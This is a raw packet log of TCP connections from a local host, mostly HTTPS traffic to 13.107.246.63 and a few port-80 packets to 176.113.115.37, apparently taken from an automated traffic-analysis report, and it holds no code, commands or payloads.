Nov 26, 2024 00:08:58.734733105 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.735213041 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.735224009 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.866660118 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.867274046 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.867290974 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:58.868776083 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:58.868781090 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.097812891 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.098551035 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.098567963 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.098922968 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.098927975 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.178603888 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.181762934 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.181793928 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.181821108 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.181895018 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.181958914 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.181958914 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.181998014 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.182027102 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.185687065 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.185712099 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.185771942 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.186168909 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.186178923 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.312232971 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.315289021 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.315354109 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.315414906 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.315421104 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.315439939 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.315443993 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.318325996 CET	49889	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.318367004 CET	443	49889	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.318459034 CET	49889	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.318669081 CET	49889	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.318686962 CET	443	49889	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.729660034 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.733247995 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.734656096 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.734656096 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.734675884 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.734683990 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.738564968 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.738583088 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 00:08:59.742782116 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.742782116 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:08:59.742804050 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.370274067 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.371304035 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.371304035 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.371320963 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.371329069 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.409497023 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.411926031 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.411937952 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.412565947 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.412570953 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.808820963 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.808845997 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.808880091 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.808903933 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.808931112 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.809117079 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.809128046 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.809138060 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.809142113 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.813081026 CET	49891	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.813119888 CET	443	49891	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.813177109 CET	49891	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.813345909 CET	49891	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.813363075 CET	443	49891	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.853790998 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.856878042 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.856935024 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.856965065 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.856971979 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.856980085 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.856982946 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.859338999 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.859360933 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.859426022 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.859534979 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.859546900 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.900242090 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.900615931 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.900640965 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:00.901181936 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:00.901185989 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.104469061 CET	443	49889	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.105068922 CET	49889	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.105084896 CET	443	49889	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.105407953 CET	49889	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.105413914 CET	443	49889	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.336144924 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.339145899 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.339306116 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.339306116 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.339306116 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.341842890 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.341890097 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.341950893 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.342116117 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.342135906 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.548235893 CET	443	49889	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.551567078 CET	443	49889	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.551625967 CET	49889	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.551640987 CET	443	49889	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.551688910 CET	443	49889	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.551742077 CET	49889	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.551846027 CET	49889	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.551846027 CET	49889	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.551858902 CET	443	49889	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.551867008 CET	443	49889	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.555320978 CET	49894	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.555346012 CET	443	49894	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.555494070 CET	49894	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.555860996 CET	49894	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.555872917 CET	443	49894	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.588860035 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.590919018 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.590941906 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.591403008 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.591408014 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:01.638597012 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:01.638611078 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.042507887 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.045964956 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.046041012 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:02.046070099 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:02.046077013 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.046135902 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:02.046140909 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.048614025 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:02.048672915 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.048979044 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:02.049134016 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:02.049151897 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.640105963 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.668214083 CET	443	49891	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.677122116 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:02.677135944 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.678028107 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:02.678033113 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.702737093 CET	49891	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:02.702759027 CET	443	49891	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:02.703722000 CET	49891	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:02.703727007 CET	443	49891	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.084192038 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.087364912 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.087413073 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.087968111 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.087979078 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.087986946 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.087991953 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.092533112 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.092556000 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.092652082 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.093209028 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.093218088 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.121655941 CET	443	49891	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.126224995 CET	443	49891	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.126260996 CET	443	49891	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.126308918 CET	49891	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.126468897 CET	49891	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.126487017 CET	443	49891	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.126497984 CET	49891	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.126503944 CET	443	49891	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.130383015 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.130438089 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.130503893 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.130697966 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.130737066 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.186335087 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.186753035 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.186788082 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.187292099 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.187299967 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.365950108 CET	443	49894	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.366477966 CET	49894	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.366492033 CET	443	49894	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.366899014 CET	49894	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.366904974 CET	443	49894	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.731249094 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.734405041 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.734443903 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.734494925 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.734559059 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.741730928 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.741730928 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.741754055 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.741764069 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.747318029 CET	49898	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.747343063 CET	443	49898	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.747575045 CET	49898	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.747575045 CET	49898	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.747594118 CET	443	49898	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.811225891 CET	443	49894	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.814163923 CET	443	49894	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.814294100 CET	49894	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.814346075 CET	49894	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.814356089 CET	443	49894	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.814384937 CET	49894	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.814389944 CET	443	49894	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.818574905 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.818618059 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.821283102 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.821456909 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.821475029 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.834352970 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.834727049 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.834745884 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:03.835431099 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:03.835437059 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.317373037 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.320482969 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.320527077 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.320569038 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:04.322653055 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:04.322653055 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:04.322704077 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:04.322722912 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.325119972 CET	49900	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:04.325140953 CET	443	49900	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.326690912 CET	49900	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:04.326802015 CET	49900	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:04.326814890 CET	443	49900	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.808269978 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.808938026 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:04.808960915 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.809598923 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:04.809603930 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.851264000 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.851648092 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:04.851684093 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:04.852184057 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:04.852190971 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.245973110 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.249090910 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.249162912 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.249212980 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.249224901 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.249264002 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.249268055 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.251627922 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.251657009 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.251743078 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.251859903 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.251869917 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.287559032 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.290739059 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.290801048 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.290863991 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.290884972 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.290895939 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.290900946 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.293124914 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.293143988 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.293220997 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.293354034 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.293365002 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.592221975 CET	443	49898	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.639605999 CET	49898	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.641381979 CET	49898	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.641387939 CET	443	49898	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.641925097 CET	49898	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.641930103 CET	443	49898	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.671403885 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.672363043 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.672363043 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:05.672380924 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:05.672394037 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.045859098 CET	443	49898	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.049006939 CET	443	49898	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.049071074 CET	49898	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.049184084 CET	49898	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.049184084 CET	49898	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.049192905 CET	443	49898	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.049201012 CET	443	49898	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.051474094 CET	49903	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.051489115 CET	443	49903	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.051671028 CET	49903	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.051820993 CET	49903	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.051831007 CET	443	49903	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.107335091 CET	443	49900	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.108329058 CET	49900	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.108329058 CET	49900	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.108341932 CET	443	49900	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.108350992 CET	443	49900	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.125646114 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.128778934 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.128827095 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.128854036 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.128895044 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.129038095 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.129038095 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.129055023 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.129062891 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.131442070 CET	49904	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.131462097 CET	443	49904	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.131588936 CET	49904	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.131709099 CET	49904	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.131721020 CET	443	49904	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.312623978 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:09:06.552361012 CET	443	49900	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.555490971 CET	443	49900	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.555546999 CET	49900	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.555625916 CET	49900	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.555639982 CET	443	49900	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.555649042 CET	49900	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.555653095 CET	443	49900	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.559683084 CET	49905	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.559710979 CET	443	49905	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.559768915 CET	49905	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.560061932 CET	49905	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.560074091 CET	443	49905	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.669833899 CET	49731	80	192.168.2.4	176.113.115.37
Nov 26, 2024 00:09:06.966469049 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.967125893 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.967139006 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:06.967660904 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:06.967665911 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:07.073734045 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:07.074440956 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:07.074451923 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:07.075134993 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:07.075139999 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:07.406121016 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:07.409255028 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:07.409291983 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:07.409338951 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:07.409354925 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:07.409427881 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:07.409444094 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:07.409456015 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:07.409462929 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 00:09:07.411998987 CET	49906	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:09:07.412095070 CET	443	49906	13.107.246.63	192.168.2.4
